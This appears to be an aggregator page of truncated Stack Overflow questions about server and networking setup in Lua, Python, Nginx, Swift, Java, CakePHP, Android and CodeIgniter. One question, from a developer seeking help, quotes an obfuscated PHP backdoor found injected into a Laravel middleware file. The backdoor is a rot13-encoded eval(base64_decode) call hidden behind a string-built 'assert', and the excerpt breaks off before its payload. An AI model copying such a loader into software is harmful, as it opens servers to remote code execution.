server

问题 I'm looking for a simple client-server connection in Lua. Due to bad online documentation I'm quite helpless. I found two threads here in stackoverflow but they didn't help much. Here is what I have so far: Client: local socket = require("socket") local host, port = "192.168.100.47", 51515 local tcp = assert(socket.tcp()) tcp:connect(host, port); tcp:send("hello world\n"); while true do local s, status, partial = tcp:receive() print(s or partial) if status == "closed" then break end end tcp

问题 I'm trying to start a simple http server with the most recent version of Python 2.7. I'm following a tutorial and it instructs me to do the following: Open the Terminal then navigate to our client directory and enter the following command: $ python -m SimpleHTTPServer But no matter what I've tried, including other codes, it doesn't work. Can anyone help please? It always puts a syntax error such as: '$' is not recognized as an internal or external command, operable program or batch file. If I

问题 I'm running a Laravel Site (Ubuntu) on Nginx (Not a virtual box). When I make changes to a css file, or any file for that matter i'm unable to see the changes right away. I've tried changing sendfile from on to off as noted in this link: How to clear the cache of nginx? And I couldn't find a Nginx cache file to delete the cache. Many sites recommend going to the "path/to/cache" folder but I can't find it: https://www.nginx.com/blog/nginx-caching-guide/ Anyway I don't believe I set up any kind

问题 I have the following function to establish the connection synchronously with the sever on a particular IP and port, send a JSON request to sever and return the server's response to the calling function. func connserv(jsonString:NSDictionary){ var abc: NSDictionary? // This is the action performed when clicked on the Connect button on the connectivity screen println("------------------Function connserv") let prefs = NSUserDefaults.standardUserDefaults() var IP: AnyObject = prefs.objectForKey(

问题 I was trying to send a post request on a url from server then it showed following errors javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target Then I found about InstallCert.java( https://www.cs.ucsb.edu/~pconrad/cs56/examples/ldap/SimpleQuery/InstallCert.java ) which will allow my host and port to send the request. But

问题 This question already has answers here : Java RMI : connection refused (2 answers) Closed last year . Why I continue to receive following error? I tried to fix a problem by following posts on similar issue, however nothing seems to work. java.rmi.ConnectException: Connection refused to host: 10.0.0.57; nested exception is: java.net.ConnectException: Operation timed out at ..... javax.rmi.ssl.SslRMIClientSocketFactory.createSocket(SslRMIClientSocketFactory.java:120) at sun.rmi.transport.tcp

问题 I was doing a project for a client. After a few days of finishing and uploading on the server, my client showed me errors occurring. When I checked the files I found a extra piece of code added in CheckForMaintenanceMode.php file inside vendor/laravel/framework/illuminate/foundation/http/middleware which is //###==### error_reporting(0); $strings = "as";$strings .= "sert"; @$strings(str_rot13('riny(onfr64_qrpbqr(

问题 i'm trying cakephp v3 for a test, so i have install cake with composer, and i can't launch the server as requested by the tutorial. When i do bin/cake server in the app folder, i get this response: bin/cake: line 39: exec: php not found I tried with ./bin/cake but it's the same. For information, i have wamp on my computer and the authorization for bin are rwxr-xr-x. Any idea on how fix it? Thanks for your help 回答1: You may need to add the PHP directory to your path. On the command line (e.g.

问题 I know that this question is "over-answered" but I'm really desperate!! At first sorry for my bad english. GOAL: I use XAMPP and I want to store in a server an image sent by an Android app. I have read lots of tutorial but nothing works!! I found and tried this code of Keaton but it doesn't works! There aren't errors or crashes but the image doesn't really sent to the server. Keaton code - Stack Overflow I've paste this function in a new project and run with only this function. I've Android

问题 I have a server and I made a website using Codeigniter. I used the wamp server to do my project. now I want to upload it to the server I have so I need to change the configurations and the htaccess file. but I don't know what to edit in these files. autoload: I have changed nothing in this file only $autoload['libraries'] = array('database','session','form_validation'); $autoload['helper'] = array('url','form','array' , 'date'); config: $config['base_url'] = 'http://www.example.com/'; $config